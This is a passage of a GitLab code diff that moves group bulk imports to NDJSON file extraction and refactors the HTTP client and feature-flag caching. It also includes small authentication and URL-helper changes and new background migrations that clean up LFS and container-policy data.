def each_page(method, resource, query = {}, &block)
@@ -55,8 +49,36 @@ module BulkImports
end
end
+ def resource_url(resource)
+ Gitlab::Utils.append_path(api_url, resource)
+ end
+
private
+ # rubocop:disable GitlabSecurity/PublicSend
+ def request(method, resource, options = {}, &block)
+ with_error_handling do
+ Gitlab::HTTP.public_send(
+ method,
+ resource_url(resource),
+ request_options(options),
+ &block
+ )
+ end
+ end
+ # rubocop:enable GitlabSecurity/PublicSend
+
+ def request_options(options)
+ default_options.merge(options)
+ end
+
+ def default_options
+ {
+ headers: request_headers,
+ follow_redirects: false
+ }
+ end
+
def request_query
{
page: @page,
@@ -88,10 +110,6 @@ module BulkImports
def api_url
Gitlab::Utils.append_path(base_uri, "/api/#{@api_version}")
end
-
- def resource_url(resource)
- Gitlab::Utils.append_path(api_url, resource)
- end
end
end
end
diff --git a/lib/bulk_imports/common/extractors/ndjson_extractor.rb b/lib/bulk_imports/common/extractors/ndjson_extractor.rb
new file mode 100644
index 00000000000..79d626001a0
--- /dev/null
+++ b/lib/bulk_imports/common/extractors/ndjson_extractor.rb
@@ -0,0 +1,68 @@
+# frozen_string_literal: true
+
+module BulkImports
+ module Common
+ module Extractors
+ class NdjsonExtractor
+ include Gitlab::ImportExport::CommandLineUtil
+ include Gitlab::Utils::StrongMemoize
+
+ EXPORT_DOWNLOAD_URL_PATH = "/%{resource}/%{full_path}/export_relations/download?relation=%{relation}"
+
+ def initialize(relation:)
+ @relation = relation
+ @tmp_dir = Dir.mktmpdir
+ end
+
+ def extract(context)
+ download_service(tmp_dir, context).execute
+ decompression_service(tmp_dir).execute
+ relations = ndjson_reader(tmp_dir).consume_relation('', relation)
+
+ BulkImports::Pipeline::ExtractedData.new(data: relations)
+ end
+
+ def remove_tmp_dir
+ FileUtils.remove_entry(tmp_dir)
+ end
+
+ private
+
+ attr_reader :relation, :tmp_dir
+
+ def filename
+ @filename ||= "#{relation}.ndjson.gz"
+ end
+
+ def download_service(tmp_dir, context)
+ @download_service ||= BulkImports::FileDownloadService.new(
+ configuration: context.configuration,
+ relative_url: relative_resource_url(context),
+ dir: tmp_dir,
+ filename: filename
+ )
+ end
+
+ def decompression_service(tmp_dir)
+ @decompression_service ||= BulkImports::FileDecompressionService.new(
+ dir: tmp_dir,
+ filename: filename
+ )
+ end
+
+ def ndjson_reader(tmp_dir)
+ @ndjson_reader ||= Gitlab::ImportExport::Json::NdjsonReader.new(tmp_dir)
+ end
+
+ def relative_resource_url(context)
+ strong_memoize(:relative_resource_url) do
+ resource = context.portable.class.name.downcase.pluralize
+ encoded_full_path = context.entity.encoded_source_full_path
+
+ EXPORT_DOWNLOAD_URL_PATH % { resource: resource, full_path: encoded_full_path, relation: relation }
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/lib/bulk_imports/common/extractors/rest_extractor.rb b/lib/bulk_imports/common/extractors/rest_extractor.rb
index b18e27fd475..2179e0575c5 100644
--- a/lib/bulk_imports/common/extractors/rest_extractor.rb
+++ b/lib/bulk_imports/common/extractors/rest_extractor.rb
@@ -24,7 +24,7 @@ module BulkImports
attr_reader :query
def http_client(configuration)
- @http_client ||= BulkImports::Clients::Http.new(
+ @http_client ||= BulkImports::Clients::HTTP.new(
uri: configuration.url,
token: configuration.access_token,
per_page: 100
diff --git a/lib/bulk_imports/groups/extractors/subgroups_extractor.rb b/lib/bulk_imports/groups/extractors/subgroups_extractor.rb
index e5e2b9fdbd4..db5882d49a9 100644
--- a/lib/bulk_imports/groups/extractors/subgroups_extractor.rb
+++ b/lib/bulk_imports/groups/extractors/subgroups_extractor.rb
@@ -17,7 +17,7 @@ module BulkImports
private
def http_client(configuration)
- @http_client ||= BulkImports::Clients::Http.new(
+ @http_client ||= BulkImports::Clients::HTTP.new(
uri: configuration.url,
token: configuration.access_token,
per_page: 100
diff --git a/lib/bulk_imports/groups/graphql/get_labels_query.rb b/lib/bulk_imports/groups/graphql/get_labels_query.rb
deleted file mode 100644
index f957cf0be52..00000000000
--- a/lib/bulk_imports/groups/graphql/get_labels_query.rb
+++ /dev/null
@@ -1,53 +0,0 @@
-# frozen_string_literal: true
-
-module BulkImports
- module Groups
- module Graphql
- module GetLabelsQuery
- extend self
-
- def to_s
- <<-'GRAPHQL'
- query ($full_path: ID!, $cursor: String, $per_page: Int) {
- group(fullPath: $full_path) {
- labels(first: $per_page, after: $cursor, onlyGroupLabels: true) {
- page_info: pageInfo {
- next_page: endCursor
- has_next_page: hasNextPage
- }
- nodes {
- title
- description
- color
- created_at: createdAt
- updated_at: updatedAt
- }
- }
- }
- }
- GRAPHQL
- end
-
- def variables(context)
- {
- full_path: context.entity.source_full_path,
- cursor: context.tracker.next_page,
- per_page: ::BulkImports::Tracker::DEFAULT_PAGE_SIZE
- }
- end
-
- def base_path
- %w[data group labels]
- end
-
- def data_path
- base_path << 'nodes'
- end
-
- def page_info_path
- base_path << 'page_info'
- end
- end
- end
- end
-end
diff --git a/lib/bulk_imports/groups/pipelines/boards_pipeline.rb b/lib/bulk_imports/groups/pipelines/boards_pipeline.rb
new file mode 100644
index 00000000000..08a0a4abc9f
--- /dev/null
+++ b/lib/bulk_imports/groups/pipelines/boards_pipeline.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+module BulkImports
+ module Groups
+ module Pipelines
+ class BoardsPipeline
+ include NdjsonPipeline
+
+ relation_name 'boards'
+
+ extractor ::BulkImports::Common::Extractors::NdjsonExtractor, relation: relation
+ end
+ end
+ end
+end
diff --git a/lib/bulk_imports/groups/pipelines/entity_finisher.rb b/lib/bulk_imports/groups/pipelines/entity_finisher.rb
index 1d237bc0f7f..1a709179bf9 100644
--- a/lib/bulk_imports/groups/pipelines/entity_finisher.rb
+++ b/lib/bulk_imports/groups/pipelines/entity_finisher.rb
@@ -4,31 +4,45 @@ module BulkImports
module Groups
module Pipelines
class EntityFinisher
+ def self.ndjson_pipeline?
+ false
+ end
+
def initialize(context)
@context = context
+ @entity = @context.entity
+ @trackers = @entity.trackers
end
def run
- return if context.entity.finished?
+ return if entity.finished? || entity.failed?
- context.entity.finish!
+ if all_other_trackers_failed?
+ entity.fail_op!
+ else
+ entity.finish!
+ end
logger.info(
bulk_import_id: context.bulk_import.id,
bulk_import_entity_id: context.entity.id,
bulk_import_entity_type: context.entity.source_type,
pipeline_class: self.class.name,
- message: 'Entity finished'
+ message: "Entity #{entity.status_name}"
)
end
private
- attr_reader :context
+ attr_reader :context, :entity, :trackers
def logger
@logger ||= Gitlab::Import::Logger.build
end
+
+ def all_other_trackers_failed?
+ trackers.where.not(relation: self.class.name).all? { |tracker| tracker.failed? } # rubocop: disable CodeReuse/ActiveRecord
+ end
end
end
end
diff --git a/lib/bulk_imports/groups/pipelines/labels_pipeline.rb b/lib/bulk_imports/groups/pipelines/labels_pipeline.rb
index 0dc4a968b84..1dd74c10b65 100644
--- a/lib/bulk_imports/groups/pipelines/labels_pipeline.rb
+++ b/lib/bulk_imports/groups/pipelines/labels_pipeline.rb
@@ -4,16 +4,11 @@ module BulkImports
module Groups
module Pipelines
class LabelsPipeline
- include Pipeline
+ include NdjsonPipeline
- extractor BulkImports::Common::Extractors::GraphqlExtractor,
- query: BulkImports::Groups::Graphql::GetLabelsQuery
+ relation_name 'labels'
- transformer Common::Transformers::ProhibitedAttributesTransformer
-
- def load(context, data)
- Labels::CreateService.new(data).execute(group: context.group)
- end
+ extractor ::BulkImports::Common::Extractors::NdjsonExtractor, relation: relation
end
end
end
diff --git a/lib/bulk_imports/groups/pipelines/milestones_pipeline.rb b/lib/bulk_imports/groups/pipelines/milestones_pipeline.rb
index 9b2be30735c..b2bd14952e7 100644
--- a/lib/bulk_imports/groups/pipelines/milestones_pipeline.rb
+++ b/lib/bulk_imports/groups/pipelines/milestones_pipeline.rb
@@ -4,26 +4,11 @@ module BulkImports
module Groups
module Pipelines
class MilestonesPipeline
- include Pipeline
+ include NdjsonPipeline
- extractor BulkImports::Common::Extractors::GraphqlExtractor,
- query: BulkImports::Groups::Graphql::GetMilestonesQuery
+ relation_name 'milestones'
- transformer Common::Transformers::ProhibitedAttributesTransformer
-
- def load(context, data)
- return unless data
-
- raise ::BulkImports::Pipeline::NotAllowedError unless authorized?
-
- context.group.milestones.create!(data)
- end
-
- private
-
- def authorized?
- context.current_user.can?(:admin_milestone, context.group)
- end
+ extractor ::BulkImports::Common::Extractors::NdjsonExtractor, relation: relation
end
end
end
diff --git a/lib/bulk_imports/ndjson_pipeline.rb b/lib/bulk_imports/ndjson_pipeline.rb
new file mode 100644
index 00000000000..2de06bbcb88
--- /dev/null
+++ b/lib/bulk_imports/ndjson_pipeline.rb
@@ -0,0 +1,99 @@
+# frozen_string_literal: true
+
+module BulkImports
+ module NdjsonPipeline
+ extend ActiveSupport::Concern
+
+ include Pipeline
+
+ included do
+ ndjson_pipeline!
+
+ def transform(context, data)
+ relation_hash, relation_index = data
+ relation_definition = import_export_config.top_relation_tree(relation)
+
+ deep_transform_relation!(relation_hash, relation, relation_definition) do |key, hash|
+ Gitlab::ImportExport::Group::RelationFactory.create(
+ relation_index: relation_index,
+ relation_sym: key.to_sym,
+ relation_hash: hash,
+ importable: context.portable,
+ members_mapper: members_mapper,
+ object_builder: object_builder,
+ user: context.current_user,
+ excluded_keys: import_export_config.relation_excluded_keys(key)
+ )
+ end
+ end
+
+ def load(_, object)
+ return unless object
+
+ object.save! unless object.persisted?
+ end
+
+ def deep_transform_relation!(relation_hash, relation_key, relation_definition, &block)
+ relation_key = relation_key_override(relation_key)
+
+ relation_definition.each do |sub_relation_key, sub_relation_definition|
+ sub_relation = relation_hash[sub_relation_key]
+
+ next unless sub_relation
+
+ current_item =
+ if sub_relation.is_a?(Array)
+ sub_relation
+ .map { |entry| deep_transform_relation!(entry, sub_relation_key, sub_relation_definition, &block) }
+ .tap { |entry| entry.compact! }
+ .presence
+ else
+ deep_transform_relation!(sub_relation, sub_relation_key, sub_relation_definition, &block)
+ end
+
+ if current_item
+ relation_hash[sub_relation_key] = current_item
+ else
+ relation_hash.delete(sub_relation_key)
+ end
+ end
+
+ yield(relation_key, relation_hash)
+ end
+
+ def after_run(_)
+ extractor.remove_tmp_dir if extractor.respond_to?(:remove_tmp_dir)
+ end
+
+ def relation_class(relation_key)
+ relation_key.to_s.classify.constantize
+ rescue NameError
+ relation_key.to_s.constantize
+ end
+
+ def relation_key_override(relation_key)
+ relation_key_overrides[relation_key.to_sym]&.to_s || relation_key
+ end
+
+ def relation_key_overrides
+ "Gitlab::ImportExport::#{portable.class}::RelationFactory::OVERRIDES".constantize
+ end
+
+ def object_builder
+ "Gitlab::ImportExport::#{portable.class}::ObjectBuilder".constantize
+ end
+
+ def relation
+ self.class.relation
+ end
+
+ def members_mapper
+ @members_mapper ||= Gitlab::ImportExport::MembersMapper.new(
+ exported_members: [],
+ user: current_user,
+ importable: portable
+ )
+ end
+ end
+ end
+end
diff --git a/lib/bulk_imports/pipeline.rb b/lib/bulk_imports/pipeline.rb
index df4f020d6b2..f27818dae18 100644
--- a/lib/bulk_imports/pipeline.rb
+++ b/lib/bulk_imports/pipeline.rb
@@ -8,8 +8,11 @@ module BulkImports
include Runner
NotAllowedError = Class.new(StandardError)
+ ExpiredError = Class.new(StandardError)
+ FailedError = Class.new(StandardError)
CACHE_KEY_EXPIRATION = 2.hours
+ NDJSON_EXPORT_TIMEOUT = 30.minutes
def initialize(context)
@context = context
@@ -19,6 +22,18 @@ module BulkImports
@tracker ||= context.tracker
end
+ def portable
+ @portable ||= context.portable
+ end
+
+ def import_export_config
+ @import_export_config ||= context.import_export_config
+ end
+
+ def current_user
+ @current_user ||= context.current_user
+ end
+
included do
private
@@ -111,7 +126,7 @@ module BulkImports
options = class_config[:options]
if options
- class_config[:klass].new(class_config[:options])
+ class_config[:klass].new(**class_config[:options])
else
class_config[:klass].new
end
@@ -155,6 +170,22 @@ module BulkImports
class_attributes[:abort_on_failure]
end
+ def ndjson_pipeline!
+ class_attributes[:ndjson_pipeline] = true
+ end
+
+ def ndjson_pipeline?
+ class_attributes[:ndjson_pipeline]
+ end
+
+ def relation_name(name)
+ class_attributes[:relation_name] = name
+ end
+
+ def relation
+ class_attributes[:relation_name]
+ end
+
private
def add_attribute(sym, klass, options)
diff --git a/lib/bulk_imports/pipeline/context.rb b/lib/bulk_imports/pipeline/context.rb
index 3c69c729f36..d753f888671 100644
--- a/lib/bulk_imports/pipeline/context.rb
+++ b/lib/bulk_imports/pipeline/context.rb
@@ -16,6 +16,14 @@ module BulkImports
@entity ||= tracker.entity
end
+ def portable
+ @portable ||= entity.group || entity.project
+ end
+
+ def import_export_config
+ @import_export_config ||= ::BulkImports::FileTransfer.config_for(portable)
+ end
+
def group
@group ||= entity.group
end
diff --git a/lib/bulk_imports/pipeline/extracted_data.rb b/lib/bulk_imports/pipeline/extracted_data.rb
index c9e54b61dd3..0b36c068298 100644
--- a/lib/bulk_imports/pipeline/extracted_data.rb
+++ b/lib/bulk_imports/pipeline/extracted_data.rb
@@ -6,7 +6,7 @@ module BulkImports
attr_reader :data
def initialize(data: nil, page_info: {})
- @data = Array.wrap(data)
+ @data = data.is_a?(Enumerator) ? data : Array.wrap(data)
@page_info = page_info
end
diff --git a/lib/bulk_imports/stage.rb b/lib/bulk_imports/stage.rb
index 35b77240ea7..bc7fc14b5a0 100644
--- a/lib/bulk_imports/stage.rb
+++ b/lib/bulk_imports/stage.rb
@@ -29,9 +29,13 @@ module BulkImports
pipeline: BulkImports::Groups::Pipelines::BadgesPipeline,
stage: 1
},
+ boards: {
+ pipeline: BulkImports::Groups::Pipelines::BoardsPipeline,
+ stage: 2
+ },
finisher: {
pipeline: BulkImports::Groups::Pipelines::EntityFinisher,
- stage: 2
+ stage: 3
}
}.freeze
diff --git a/lib/csv_builder.rb b/lib/csv_builder.rb
index 43ceed9519b..f270f7984da 100644
--- a/lib/csv_builder.rb
+++ b/lib/csv_builder.rb
@@ -16,7 +16,7 @@
class CsvBuilder
DEFAULT_ORDER_BY = 'id'
DEFAULT_BATCH_SIZE = 1000
- PREFIX_REGEX = /^[=\+\-@;]/.freeze
+ PREFIX_REGEX = /\A[=\+\-@;]/.freeze
attr_reader :rows_written
diff --git a/lib/feature.rb b/lib/feature.rb
index 87abd2689d0..453ecc8255a 100644
--- a/lib/feature.rb
+++ b/lib/feature.rb
@@ -18,6 +18,10 @@ class Feature
superclass.table_name = 'feature_gates'
end
+ # To enable EE overrides
+ class ActiveSupportCacheStoreAdapter < Flipper::Adapters::ActiveSupportCacheStore
+ end
+
InvalidFeatureFlagError = Class.new(Exception) # rubocop:disable Lint/InheritException
class << self
@@ -167,7 +171,8 @@ class Feature
ActiveSupportCacheStoreAdapter.new(
active_record_adapter,
l2_cache_backend,
- expires_in: 1.hour)
+ expires_in: 1.hour,
+ write_through: true)
# Thread-local L1 cache: use a short timeout since we don't have a
# way to expire this cache all at once
diff --git a/lib/feature/active_support_cache_store_adapter.rb b/lib/feature/active_support_cache_store_adapter.rb
deleted file mode 100644
index 431f1169a86..00000000000
--- a/lib/feature/active_support_cache_store_adapter.rb
+++ /dev/null
@@ -1,36 +0,0 @@
-# frozen_string_literal: true
-
-# rubocop:disable Gitlab/NamespacedClass
-# This class was already nested this way before moving to a separate file
-class Feature
- class ActiveSupportCacheStoreAdapter < Flipper::Adapters::ActiveSupportCacheStore
- # This patch represents https://github.com/jnunemaker/flipper/pull/512. In
- # Flipper 0.21.0 and later, we can remove this and just pass `write_through:
- # true` to the constructor in `Feature.build_flipper_instance`.
-
- extend ::Gitlab::Utils::Override
-
- override :enable
- def enable(feature, gate, thing)
- result = @adapter.enable(feature, gate, thing)
- @cache.write(key_for(feature.key), @adapter.get(feature), @write_options)
- result
- end
-
- override :disable
- def disable(feature, gate, thing)
- result = @adapter.disable(feature, gate, thing)
- @cache.write(key_for(feature.key), @adapter.get(feature), @write_options)
- result
- end
-
- override :remove
- def remove(feature)
- result = @adapter.remove(feature)
- @cache.delete(FeaturesKey)
- @cache.write(key_for(feature.key), {}, @write_options)
- result
- end
- end
-end
-# rubocop:disable Gitlab/NamespacedClass
diff --git a/lib/flowdock/git.rb b/lib/flowdock/git.rb
index 539fd66a510..897ee647d87 100644
--- a/lib/flowdock/git.rb
+++ b/lib/flowdock/git.rb
@@ -34,7 +34,7 @@ module Flowdock
# Send git push notification to Flowdock
def post
messages.each do |message|
- Flowdock::Client.new(flow_token: @token).post_to_thread(message)
+ ::Flowdock::Client.new(flow_token: @token).post_to_thread(message)
end
end
diff --git a/lib/generators/gitlab/usage_metric/USAGE b/lib/generators/gitlab/usage_metric/USAGE
new file mode 100644
index 00000000000..3a2166c3bb1
--- /dev/null
+++ b/lib/generators/gitlab/usage_metric/USAGE
@@ -0,0 +1,9 @@
+Description:
+ Creates a stub instrumentation for a Service Ping metric
+
+Example:
+ rails generate gitlab:usage_metric CountIssues --type database
+
+ This will create:
+ lib/gitlab/usage/metrics/instrumentations/count_issues_metric.rb
+ spec/lib/gitlab/usage/metrics/instrumentations/count_issues_metric_spec.rb
diff --git a/lib/generators/gitlab/usage_metric/templates/instrumentation_class.rb.template b/lib/generators/gitlab/usage_metric/templates/instrumentation_class.rb.template
new file mode 100644
index 00000000000..603b6f3bc8a
--- /dev/null
+++ b/lib/generators/gitlab/usage_metric/templates/instrumentation_class.rb.template
@@ -0,0 +1,14 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Usage
+ module Metrics
+ module Instrumentations
+ class <%= class_name %>Metric < <%= metric_superclass %>Metric
+ def value
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/lib/generators/gitlab/usage_metric/templates/instrumentation_class_spec.rb.template b/lib/generators/gitlab/usage_metric/templates/instrumentation_class_spec.rb.template
new file mode 100644
index 00000000000..e984daee0a4
--- /dev/null
+++ b/lib/generators/gitlab/usage_metric/templates/instrumentation_class_spec.rb.template
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Usage::Metrics::Instrumentations::<%= class_name %>Metric do
+ it_behaves_like 'a correct instrumented metric value', {}, 1
+end
diff --git a/lib/generators/gitlab/usage_metric/usage_metric_generator.rb b/lib/generators/gitlab/usage_metric/usage_metric_generator.rb
new file mode 100644
index 00000000000..f7125fdc911
--- /dev/null
+++ b/lib/generators/gitlab/usage_metric/usage_metric_generator.rb
@@ -0,0 +1,71 @@
+# frozen_string_literal: true
+
+require 'rails/generators'
+
+module Gitlab
+ class UsageMetricGenerator < Rails::Generators::Base
+ CE_DIR = 'lib/gitlab/usage/metrics/instrumentations'
+ EE_DIR = 'ee/lib/ee/gitlab/usage/metrics/instrumentations'
+ SPEC_CE_DIR = 'spec/lib/gitlab/usage/metrics/instrumentations'
+ SPEC_EE_DIR = 'ee/spec/lib/ee/gitlab/usage/metrics/instrumentations'
+
+ ALLOWED_SUPERCLASSES = {
+ generic: 'Generic',
+ database: 'Database',
+ redis_hll: 'RedisHLL'
+ }.freeze
+
+ source_root File.expand_path('templates', __dir__)
+
+ class_option :ee, type: :boolean, optional: true, default: false, desc: 'Indicates if instrumentation is for EE'
+ class_option :type, type: :string, desc: "Metric type, must be one of: #{ALLOWED_SUPERCLASSES.keys.join(', ')}"
+
+ argument :class_name, type: :string, desc: 'Instrumentation class name, e.g.: CountIssues'
+
+ def create_class_files
+ validate!
+
+ template "instrumentation_class.rb.template", file_path
+ template "instrumentation_class_spec.rb.template", spec_file_path
+ end
+
+ private
+
+ def validate!
+ raise ArgumentError, "Type is required, valid options are #{ALLOWED_SUPERCLASSES.keys.join(', ')}" unless type.present?
+ raise ArgumentError, "Unknown type '#{type}', valid options are #{ALLOWED_SUPERCLASSES.keys.join(', ')}" if metric_superclass.nil?
+ end
+
+ def ee?
+ options[:ee]
+ end
+
+ def type
+ options[:type]
+ end
+
+ def file_path
+ dir = ee? ? EE_DIR : CE_DIR
+
+ File.join(dir, file_name)
+ end
+
+ def spec_file_path
+ dir = ee? ? SPEC_EE_DIR : SPEC_CE_DIR
+
+ File.join(dir, spec_file_name)
+ end
+
+ def file_name
+ "#{class_name.underscore}_metric.rb"
+ end
+
+ def spec_file_name
+ "#{class_name.underscore}_metric_spec.rb"
+ end
+
+ def metric_superclass
+ ALLOWED_SUPERCLASSES[type.to_sym]
+ end
+ end
+end
diff --git a/lib/gitlab.rb b/lib/gitlab.rb
index 86bb2f662e5..d93d7acbaad 100644
--- a/lib/gitlab.rb
+++ b/lib/gitlab.rb
@@ -39,17 +39,14 @@ module Gitlab
end
end
- COM_URL = 'https://gitlab.com'
- STAGING_COM_URL = 'https://staging.gitlab.com'
APP_DIRS_PATTERN = %r{^/?(app|config|ee|lib|spec|\(\w*\))}.freeze
- SUBDOMAIN_REGEX = %r{\Ahttps://[a-z0-9]+\.gitlab\.com\z}.freeze
VERSION = File.read(root.join("VERSION")).strip.freeze
INSTALLATION_TYPE = File.read(root.join("INSTALLATION_TYPE")).strip.freeze
HTTP_PROXY_ENV_VARS = %w(http_proxy https_proxy HTTP_PROXY HTTPS_PROXY).freeze
def self.com?
# Check `gl_subdomain?` as well to keep parity with gitlab.com
- Gitlab.config.gitlab.url == COM_URL || gl_subdomain?
+ Gitlab.config.gitlab.url == Gitlab::Saas.com_url || gl_subdomain?
end
def self.com
@@ -57,7 +54,7 @@ module Gitlab
end
def self.staging?
- Gitlab.config.gitlab.url == STAGING_COM_URL
+ Gitlab.config.gitlab.url == Gitlab::Saas.staging_com_url
end
def self.canary?
@@ -73,11 +70,11 @@ module Gitlab
end
def self.org?
- Gitlab.config.gitlab.url == 'https://dev.gitlab.org'
+ Gitlab.config.gitlab.url == Gitlab::Saas.dev_url
end
def self.gl_subdomain?
- SUBDOMAIN_REGEX === Gitlab.config.gitlab.url
+ Gitlab::Saas.subdomain_regex === Gitlab.config.gitlab.url
end
def self.dev_env_org_or_com?
diff --git a/lib/gitlab/application_context.rb b/lib/gitlab/application_context.rb
index 601f2175cfc..760f1352256 100644
--- a/lib/gitlab/application_context.rb
+++ b/lib/gitlab/application_context.rb
@@ -44,6 +44,10 @@ module Gitlab
current.include?(Labkit::Context.log_key(attribute_name))
end
+ def self.current_context_attribute(attribute_name)
+ Labkit::Context.current&.get_attribute(attribute_name)
+ end
+
def initialize(**args)
unknown_attributes = args.keys - APPLICATION_ATTRIBUTES.map(&:name)
raise ArgumentError, "#{unknown_attributes} are not known keys" if unknown_attributes.any?
diff --git a/lib/gitlab/auth.rb b/lib/gitlab/auth.rb
index 4489fc9f3b2..36f58d43a77 100644
--- a/lib/gitlab/auth.rb
+++ b/lib/gitlab/auth.rb
@@ -156,15 +156,16 @@ module Gitlab
underscored_service = matched_login['service'].underscore
- if Integration.available_services_names.include?(underscored_service)
- # We treat underscored_service as a trusted input because it is included
- # in the Integration.available_services_names allowlist.
- service = project.public_send("#{underscored_service}_service") # rubocop:disable GitlabSecurity/PublicSend
+ return unless Integration.available_services_names.include?(underscored_service)
- if service && service.activated? && service.valid_token?(password)
- Gitlab::Auth::Result.new(nil, project, :ci, build_authentication_abilities)
- end
- end
+ # We treat underscored_service as a trusted input because it is included
+ # in the Integration.available_services_names allowlist.
+ accessor = Project.integration_association_name(underscored_service)
+ service = project.public_send(accessor) # rubocop:disable GitlabSecurity/PublicSend
+
+ return unless service && service.activated? && service.valid_token?(password)
+
+ Gitlab::Auth::Result.new(nil, project, :ci, build_authentication_abilities)
end
def user_with_password_for_git(login, password)
@@ -371,7 +372,9 @@ module Gitlab
end
def find_build_by_token(token)
- ::Ci::AuthJobFinder.new(token: token).execute
+ ::Gitlab::Database::LoadBalancing::Session.current.use_primary do
+ ::Ci::AuthJobFinder.new(token: token).execute
+ end
end
def user_auth_attempt!(user, success:)
diff --git a/lib/gitlab/auth/o_auth/user.rb b/lib/gitlab/auth/o_auth/user.rb
index 523452d1074..1c5ded2e8ed 100644
--- a/lib/gitlab/auth/o_auth/user.rb
+++ b/lib/gitlab/auth/o_auth/user.rb
@@ -208,7 +208,7 @@ module Gitlab
def build_new_user(skip_confirmation: true)
user_params = user_attributes.merge(skip_confirmation: skip_confirmation)
- Users::BuildService.new(nil, user_params).execute(skip_authorization: true)
+ Users::AuthorizedBuildService.new(nil, user_params).execute
end
def user_attributes
diff --git a/lib/gitlab/background_migration/cleanup_orphaned_lfs_objects_projects.rb b/lib/gitlab/background_migration/cleanup_orphaned_lfs_objects_projects.rb
new file mode 100644
index 00000000000..cb9b0e88ef4
--- /dev/null
+++ b/lib/gitlab/background_migration/cleanup_orphaned_lfs_objects_projects.rb
@@ -0,0 +1,78 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module BackgroundMigration
+ # The migration is used to cleanup orphaned lfs_objects_projects in order to
+ # introduce valid foreign keys to this table
+ class CleanupOrphanedLfsObjectsProjects
+ # A model to access lfs_objects_projects table in migrations
+ class LfsObjectsProject < ActiveRecord::Base
+ self.table_name = 'lfs_objects_projects'
+
+ include ::EachBatch
+
+ belongs_to :lfs_object
+ belongs_to :project
+ end
+
+ # A model to access lfs_objects table in migrations
+ class LfsObject < ActiveRecord::Base
+ self.table_name = 'lfs_objects'
+ end
+
+ # A model to access projects table in migrations
+ class Project < ActiveRecord::Base
+ self.table_name = 'projects'
+ end
+
+ SUB_BATCH_SIZE = 5000
+ CLEAR_CACHE_DELAY = 1.minute
+
+ def perform(start_id, end_id)
+ cleanup_lfs_objects_projects_without_lfs_object(start_id, end_id)
+ cleanup_lfs_objects_projects_without_project(start_id, end_id)
+ end
+
+ private
+
+ def cleanup_lfs_objects_projects_without_lfs_object(start_id, end_id)
+ each_record_without_association(start_id, end_id, :lfs_object, :lfs_objects) do |lfs_objects_projects_without_lfs_objects|
+ projects = Project.where(id: lfs_objects_projects_without_lfs_objects.select(:project_id))
+
+ if projects.present?
+ ProjectCacheWorker.bulk_perform_in_with_contexts(
+ CLEAR_CACHE_DELAY,
+ projects,
+ arguments_proc: ->(project) { [project.id, [], [:lfs_objects_size]] },
+ context_proc: ->(project) { { project: project } }
+ )
+ end
+
+ lfs_objects_projects_without_lfs_objects.delete_all
+ end
+ end
+
+ def cleanup_lfs_objects_projects_without_project(start_id, end_id)
+ each_record_without_association(start_id, end_id, :project, :projects) do |lfs_objects_projects_without_projects|
+ lfs_objects_projects_without_projects.delete_all
+ end
+ end
+
+ def each_record_without_association(start_id, end_id, association, table_name)
+ batch = LfsObjectsProject.where(id: start_id..end_id)
+
+ batch.each_batch(of: SUB_BATCH_SIZE) do |sub_batch|
+ first, last = sub_batch.pluck(Arel.sql('min(lfs_objects_projects.id), max(lfs_objects_projects.id)')).first
+
+ lfs_objects_without_association =
+ LfsObjectsProject
+ .unscoped
+ .left_outer_joins(association)
+ .where(id: (first..last), table_name => { id: nil })
+
+ yield lfs_objects_without_association
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/background_migration/disable_expiration_policies_linked_to_no_container_images.rb b/lib/gitlab/background_migration/disable_expiration_policies_linked_to_no_container_images.rb
new file mode 100644
index 00000000000..9a88eb8ea06
--- /dev/null
+++ b/lib/gitlab/background_migration/disable_expiration_policies_linked_to_no_container_images.rb
@@ -0,0 +1,41 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module BackgroundMigration
+ BATCH_SIZE = 1000
+
+ # This background migration disables container expiration policies connected
+ # to a project that has no container repositories
+ class DisableExpirationPoliciesLinkedToNoContainerImages
+ # rubocop: disable Style/Documentation
+ class ContainerExpirationPolicy < ActiveRecord::Base
+ include EachBatch
+
+ self.table_name = 'container_expiration_policies'
+ end
+ # rubocop: enable Style/Documentation
+
+ def perform(from_id, to_id)
+ ContainerExpirationPolicy.where(enabled: true, project_id: from_id..to_id).each_batch(of: BATCH_SIZE) do |batch|
+ sql = <<-SQL
+ WITH batched_relation AS #{Gitlab::Database::AsWithMaterialized.materialized_if_supported} (#{batch.select(:project_id).limit(BATCH_SIZE).to_sql})
+ UPDATE container_expiration_policies
+ SET enabled = FALSE
+ FROM batched_relation
+ WHERE container_expiration_policies.project_id = batched_relation.project_id
+ AND NOT EXISTS (SELECT 1 FROM "container_repositories" WHERE container_repositories.project_id = container_expiration_policies.project_id)
+ SQL
+ execute(sql)
+ end
+ end
+
+ private
+
+ def execute(sql)
+ ActiveRecord::Base
+ .connection
+ .execute(sql)
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/background_migration/recalculate_vulnerabilities_occurrences_uuid.rb b/lib/gitlab/background_migration/recalculate_vulnerabilities_occurrences_uuid.rb
index 888a12f2330..a00d291245c 100644
--- a/lib/gitlab/background_migration/recalculate_vulnerabilities_occurrences_uuid.rb
+++ b/lib/gitlab/background_migration/recalculate_vulnerabilities_occurrences_uuid.rb
@@ -58,6 +58,13 @@ class Gitlab::BackgroundMigration::RecalculateVulnerabilitiesOccurrencesUuid
end
::Gitlab::Database::BulkUpdate.execute(%i[uuid], mappings)
+
+ logger.info(message: 'RecalculateVulnerabilitiesOccurrencesUuid Migration: recalculation is done for:',
+ finding_ids: mappings.keys.pluck(:id))
+
+ mark_job_as_succeeded(start_id, end_id)
+ rescue StandardError => error
+ Gitlab::ErrorTracking.track_and_raise_for_dev_exception(error)
end
private
@@ -76,4 +83,15 @@ class Gitlab::BackgroundMigration::RecalculateVulnerabilitiesOccurrencesUuid
CalculateFindingUUID.call(name)
end
+
+ def logger
+ @logger ||= Gitlab::BackgroundMigration::Logger.build
+ end
+
+ def mark_job_as_succeeded(*arguments)
+ Gitlab::Database::BackgroundMigrationJob.mark_all_as_succeeded(
+ 'RecalculateVulnerabilitiesOccurrencesUuid',
+ arguments
+ )
+ end
end
